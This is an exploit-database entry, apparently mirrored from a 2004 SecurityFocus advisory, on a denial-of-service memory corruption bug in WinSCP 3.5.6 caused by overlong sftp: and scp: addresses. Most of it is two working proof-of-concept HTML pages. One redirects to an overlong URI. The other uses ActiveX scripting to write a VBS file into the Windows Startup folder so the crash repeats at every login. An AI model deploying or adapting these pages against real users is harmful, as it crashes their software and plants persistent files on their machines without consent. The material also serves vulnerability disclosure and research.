WinSCP 3.5.6 - Long URI Handling Memory Corruption

EKU-ID: 29432	CVE:	OSVDB-ID:
Author: Luca Ercoli	Published: 2004-04-16	Verified:
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source: https://www.securityfocus.com/bid/10160/info

It has been reported that WinSCP may be prone to a denial of service condition resulting from memory corruption. This issue occurs when the application attempts to handle excessively long 'sftp:' or 'scp' addresses.

WinSCP 3.5.6 is reported to be vulnerable to this issue, however, it is possible that other versions are affected as well.

------ WinSCP_DoS1.html --------

<HTML>
<HEAD>
<TITLE>WinSCP DoS</TITLE>

<meta http-equiv="Refresh" content="0; URL=sftp://AAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">

</HEAD>
<BODY>
</BODY>
</HTML>

-------- WinSCP_DoS2.html -------

<html>
  <head>
   <title>WinSCP DoS</title>

 <script language="JScript">

     var WshShell = new ActiveXObject("WScript.Shell");
     strSU = WshShell.SpecialFolders("StartUp");

     var fso = new ActiveXObject("Scripting.FileSystemObject");
     var vibas = fso.CreateTextFile(strSU + "\\WinSCPDoS.vbs",true);

     vibas.WriteLine("Dim shell");
     vibas.WriteLine("Dim quote");
     vibas.WriteLine("Dim DoS");
     vibas.WriteLine("Dim param");
     vibas.WriteLine("DoS = \"C:\\Programmi\\WinSCP3\\WinSCP3.exe\"");
     vibas.WriteLine("param = \"scp://AAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"");
     vibas.WriteLine("set shell = WScript.CreateObject(\"WScript.Shell\")");
     vibas.WriteLine("quote = Chr(34)");
     vibas.WriteLine("pgm = \"explorer\"");
     vibas.WriteLine("shell.Run quote & DoS & quote & \" \" & param");

     vibas.Close();

    </script>

  </head>
</html>